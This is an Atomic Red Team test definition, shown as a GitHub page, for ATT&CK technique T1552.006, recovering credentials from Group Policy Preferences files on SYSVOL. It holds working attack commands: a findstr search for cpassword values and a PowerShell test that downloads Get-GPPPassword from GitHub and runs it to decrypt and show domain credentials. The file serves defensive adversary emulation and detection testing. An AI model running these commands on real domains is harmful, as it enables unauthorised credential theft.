Sign in

redcanaryco / **atomic-red-team** Public

Notifications Fork 2.8k Star 9.7k

Code Issues 6 Pull requests 4 Actions Wiki Security Insights

atomic-red-team / atomics / T1552.006 / **T1552.006.md**

```
123 lines (72 loc) · 3.86 KB
```

T1552.006 - Group Policy Preferences

Description from ATT&CK

> Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)
> These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)
>
> The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:
>
> - Metasploit's post exploitation module: `post/windows/gather/credentials/gpp`
> - Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)
> - gpprefdecrypt.py

> On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: `dir /s * .xml`

Atomic Tests

- Atomic Test #1 - GPP Passwords (findstr)
- Atomic Test #2 - GPP Passwords (Get-GPPPassword)

Preview Code Blame Raw

Atomic Test #1 - GPP Passwords (findstr)

Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt on Kali Linux.

Supported Platforms: Windows

auto_generated_guid: 870fe8fb-5e23-4f5f-b89d-dd7fe26f3b5f

Attack Commands: Run with `command_prompt`!

```
findstr /S cpassword %logonserver%\sysvol\*.xml
```

Dependencies: Run with `powershell`!

Description: Computer must be domain joined

Check Prereq Commands:

```
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit
```

Get Prereq Commands:

```
Write-Host Joining this computer to a domain must be done manually
```

Atomic Test #2 - GPP Passwords (Get-GPPPassword)

Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This test is intended to be run from a domain joined workstation, not on the Domain Controller itself. The Get-GPPPasswords.ps1 executed during this test can be obtained using the get-prereq_commands.

Successful test execution will either display the credentials found in the GPP files or indicate "No preference files found".

Supported Platforms: Windows

auto_generated_guid: e9584f82-322c-474a-b831-940fd8b4455c

Inputs:

Name	Description	Type	
gpp_script_url	URL of the Get-GPPPassword PowerShell Script	Url	https://raw.githubusercontent.com/PowerShellMafia/Po GPPPassword.ps1
gpp_script_path	Path to the Get-GPPPassword PowerShell Script	Path	PathToAtomicsFolder\T1552.006\src\Get-GPPPassword

Attack Commands: Run with `powershell`!

```
. #{gpp_script_path}
Get-GPPPassword -Verbose
```

Dependencies: Run with `powershell`!

Description: Get-GPPPassword PowerShell Script must exist at #{gpp_script_path}

Check Prereq Commands:

```
if(Test-Path "#{gpp_script_path}") {exit 0 } else {exit 1 }
```

Get Prereq Commands:

```
New-Item -ItemType Directory (Split-Path "#{gpp_script_path}") -Force | Out-Null
Invoke-WebRequest #{gpp_script_url} -OutFile "#{gpp_script_path}"
```

Description: Computer must be domain joined

Check Prereq Commands:

```
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit
```

Get Prereq Commands:

```
Write-Host Joining this computer to a domain must be done manually
```